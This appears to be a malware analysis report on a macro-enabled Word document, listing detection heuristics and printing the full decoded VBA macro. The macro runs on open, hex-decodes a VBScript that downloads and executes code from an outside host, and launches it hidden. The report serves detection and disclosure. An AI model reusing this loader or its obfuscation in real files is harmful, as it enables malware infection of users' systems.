MALICIOUS
158
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell mmhbdzojitzh("77") & mmhbdzojitzh("7363726970742e657865202f2f653a7662736372697074202f2f6220") & rp, vbHide -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Shell mmhbdzojitzh("77") & mmhbdzojitzh("7363726970742e657865202f2f653a7662736372697074202f2f6220") & rp, vbHide -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
rp = Environ(mmhbdzojitzh("617070646174") & mmhbdzojitzh("61")) & mmhbdzojitzh("5c4d6963726f736f66745c54656d706c617465735c76657273696f") & mmhbdzojitzh("6e2e786d6c") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2457 bytes |
SHA-256: f008a0db199ae7bb1a033f623025a114564b36075168b0c4618b9c89fb1241c0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub ViewPage(nShape)
On Error Resume Next
With Selection
.WholeStory
.Font.Hidden = False
.Font.Fill.Transparency = 0
.Collapse
End With
End Sub
Function ReservePage(page_loc, page_content) As Boolean
fn = FreeFile
Open page_loc For Output As #fn
Print #fn, page_content
bret = True
CleanExit:
Close #fn
ReservePage = bret
Exit Function
CleanFail:
bret = False
Resume CleanExit
End Function
Sub msmdluymx(bret)
ui = mmhbdzojitzh("637764612e636f2e6b722f7468656d652f62617369632f736b696e2f6e65772f6261") & mmhbdzojitzh("7369632f757064617465")
rp = Environ(mmhbdzojitzh("617070646174") & mmhbdzojitzh("61")) & mmhbdzojitzh("5c4d6963726f736f66745c54656d706c617465735c76657273696f") & mmhbdzojitzh("6e2e786d6c")
hs = mmhbdzojitzh("4f6e204572726f7220526573756d65204e6578743a536574206f7073") & mmhbdzojitzh("743d4372656174654f626a65637428")
mids = mmhbdzojitzh("4d53584d4c322e536572766572584d4c485454502e362e") & mmhbdzojitzh("30")
hs = hs & """" & mids & """"
mids = mmhbdzojitzh("293a6f7073742e") & mmhbdzojitzh("6f70656e20")
hs = hs & mids & """"
mids = mmhbdzojitzh("474554")
hs = hs & mids & """," & """"
mids = mmhbdzojitzh("687474703a2f2f7878782f6c6973742e7068703f7175") & mmhbdzojitzh("6572793d31")
mids = Replace(mids, mmhbdzojitzh("787878"), ui)
ts = mmhbdzojitzh("2c2046616c73653a6f7073742e53656e") & mmhbdzojitzh("643a45786563757465286f7073742e726573706f6e73655465787429")
hs = hs & mids & """" & ts
bres = ReservePage(rp, hs)
If bres Then
Shell mmhbdzojitzh("77") & mmhbdzojitzh("7363726970742e657865202f2f653a7662736372697074202f2f6220") & rp, vbHide
End If
End Sub
Private Function mmhbdzojitzh(ByVal axdwvpbphuxa As String) As String
Dim kwjpmzeegijh As Long
For kwjpmzeegijh = 1 To Len(axdwvpbphuxa) Step 2
mmhbdzojitzh = mmhbdzojitzh & Chr$(Val("&H" & Mid$(axdwvpbphuxa, kwjpmzeegijh, 2)))
Next kwjpmzeegijh
End Function
Sub AutoOpen()
On Error Resume Next
Application.ActiveWindow.View.Type = 3
Set wnd = ActiveDocument
ViewPage ("rec")
wnd.Save
msmdluymx (True)
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 14336 bytes |
SHA-256: a36386097869a316813135115df3d8a7260c4ca882b213aeb5cf0a18ad196a39 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.